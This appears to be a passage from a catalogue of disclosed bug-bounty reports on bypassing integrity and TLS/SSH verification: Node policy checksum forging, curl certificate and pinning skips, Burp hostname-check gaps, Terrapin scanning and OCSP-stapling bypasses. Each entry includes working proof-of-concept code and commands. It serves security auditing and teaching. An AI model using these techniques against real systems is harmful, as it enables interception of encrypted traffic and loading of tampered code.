Program ibbSurface otherChain Override internal digest -> forged checksum -> policy

Root cause

Node's experimental policy integrity check computes hashes with crypto.Hash, which is protected against prototype tampering but still delegates to replaceable internal C++ bindings; application code can override the internal handle's digest to return a forged checksum, disabling the integrity check.

Method

  1. In the low-integrity module allowed by policy, create a Hash and capture its internal kHandle via getOwnPropertySymbols
  2. Override kHandle.constructor.prototype.digest to return a precomputed fake digest matching the manifest
  3. require() the protected module whose real content violates the manifest -> loads anyway
const h = require('crypto').createHash('sha384'); const fakeDigest = h.digest(); const kHandle = Object.getOwnPropertySymbols(h).find(s => s.description === 'kHandle'); h[kHandle].constructor.prototype.digest = () => fakeDigest; require('./protected.js'); // integrity check passes despite mismatch

Insight — Integrity/allow-list mechanisms enforced inside the same runtime the untrusted code runs in are bypassable: if any object the check relies on (internal binding, prototype, symbol-keyed handle) is reachable and mutable from that code, override it to forge the result. When reviewing in-process sandboxes, look for the internal primitive that isn't frozen. (CVE-2023-38552.)

Real-world example

TLS/SSH peer-identity verification skipped on specific backend x protocol x host-form combos (curl)

◆ Medium
Specimen #3150884 · curl · none · 43 votes · resolved
Program curlSurface otherChain skip cert/host-key check -> MITM TLS/SFTP -> intercept

Root cause

Certificate/host verification is implemented per TLS/SSH backend and per protocol path; less-common combinations (wolfSSL/mbedTLS/wolfSSH, HTTP/3-QUIC, IP-literal hosts, error paths) miss the verification call entirely, so any presented cert/host key is accepted.

Method

  1. Enumerate the target's backend x protocol matrix (e.g. curl -V; TLS backend, HTTP/3, SSH backend).
  2. For each combo, connect with a mismatched/self-signed cert (or to an IP literal, or with pinning set to a bogus key) and see whether verification still fails.
  3. A combo that succeeds where the OpenSSL/HTTP-1.1 path fails is the vuln.
# CVE-2025-4947 (wolfSSL QUIC, IP host -> peer->sni NULL -> no wolfSSL_X509_check_host): curl --http3 https://142.251.222.14 # CVE-2025-5025 (wolfSSL HTTP/3 pinning never enforced): curl --http3 https://google.com --pinnedpubkey sha256//ffff # vulnerable guard: # if(conn_config->verifyhost) { if(peer->sni) { ... check_host ... } } // IP => sni NULL => skipped

Insight — Never assume cert/pin/host-key validation is uniform. Verification lives on many code paths; test every backend, every protocol version (esp. newer QUIC/HTTP3), IP-literal vs hostname, and error branches. The bug is usually a guard like 'if(sni)' or an error path that returns OK. Same pattern applies to any multi-backend TLS/SSH client.

Real-world example

Client accepts any CA-valid cert without hostname (CN/SAN) check

◆ Medium
Specimen #337680 · portswigger · awarded · 39 votes · resolved
Program portswiggerSurface desktopTag account-takeover

Root cause

A TLS client (Burp's Collaborator polling) validates that the presented certificate chains to a trusted CA and is not self-signed, but never checks that the certificate's CN/SAN matches the server it connected to. Any attacker holding a valid cert for an unrelated domain can terminate the connection and intercept it.

Method

  1. Obtain any legitimate CA-signed cert for a domain you control (a wildcard for an unrelated domain works).
  2. MITM the client's connection to the target server and present that cert.
  3. Observe the client completes the handshake with no warning/failure (only self-signed certs are rejected).
  4. Intercept the plaintext protocol data (here, Collaborator polling records).
# present a valid wildcard cert for *.attacker.com when the client expects <collaborator-host> # handshake succeeds because only self-signed is checked, CN/SAN is not

Insight — When auditing any custom TLS client (agents, updaters, polling services, IoT), test hostname verification separately from chain validation: present a valid cert for the WRONG hostname. Many clients only reject self-signed and skip identity matching.

Real-world example

Terrapin + weak SSH algorithm detection methodology

◆ Medium
Specimen #2446531 · nextcloud · none · 36 votes · resolved
Program nextcloudSurface network

Root cause

SSH endpoints negotiate weak/legacy algorithms (SHA-1, DH group14, 64-bit MACs, encrypt-and-MAC) and are vulnerable to Terrapin (CVE-2023-48795) prefix-truncation when ChaCha20-Poly1305 or CBC-EtM is used without the kex-strict marker.

Method

  1. Enumerate offered algorithms: nmap ssh2-enum-algos and ssh-audit.
  2. Flag SHA-1 kex/host keys, NIST P-curves, DH group14, <128-bit MAC tags, encrypt-and-MAC modes.
  3. Test Terrapin: vulnerable iff chacha20-poly1305 or CBC-EtM is offered AND kex-strict-*-v00@openssh.com is absent on both peers (use RUB-NDS/Terrapin-Scanner).
nmap --script ssh2-enum-algos -sV -p- TARGET ssh-audit TARGET # Terrapin: ./Terrapin-Scanner --connect TARGET:22

Insight — A reusable SSH crypto-hygiene checklist: dump algorithms with ssh-audit/nmap, then map each to a concrete weakness class. Terrapin requires a specific cipher + missing strict-kex marker on BOTH peers - state that precondition so you don't false-positive a patched server that still merely offers the cipher.

Real-world example

OCSP stapling revocation bypass across TLS backends

◆ Medium
Specimen #2669852 · curl · none · 36 votes · resolved
Program curlSurface otherChain revoked/compromised cert -> OCSP check bypassed -> val

Root cause

OCSP-stapling enforcement code accepts a revoked/absent cert because it only fails on a literal 'revoked' status (treating unknown/unauthorized/other as OK), or because the presence of any response is treated as success, or because an alternate verification path skips the OCSP check entirely.

Method

  1. Get a server that returns a non-'good' OCSP staple: revoked, 'unauthorized(6)', or no staple at all.
  2. Connect with revocation enforcement requested (--cert-status / CURLOPT_SSL_VERIFYSTATUS).
  3. Compare backends: OpenSSL path errors; the vulnerable backend/path returns success -> revoked cert accepted.
# GnuTLS accepts non-'revoked' statuses (staple returns unauthorized(6)): curl https://ocsp4test.sytes.net:4433 --cert-status # OpenSSL serial-mismatch variant (#1048457): splice an OCSP response for a DIFFERENT cert of the same issuer openssl ocsp -issuer chain.pem -cert good_cert.pem -url http://ocsp.digicert.com -respout resp.der # Apple SecTrust variant (#3694390): SecTrust path skips verifystatus() when server sends no staple curl -v --cert-status --ca-native https://localhost:4433/

Insight — OCSP-stapling enforcement is broken far more often than cert-chain validation. Test it directly: point the client at a revoked cert / a no-staple server / a staple whose serial differs from the peer cert, per TLS backend. Correct logic must fail-closed on revoked, unknown, unauthorized, AND missing responses and must bind the response serial to the peer cert.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 91 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.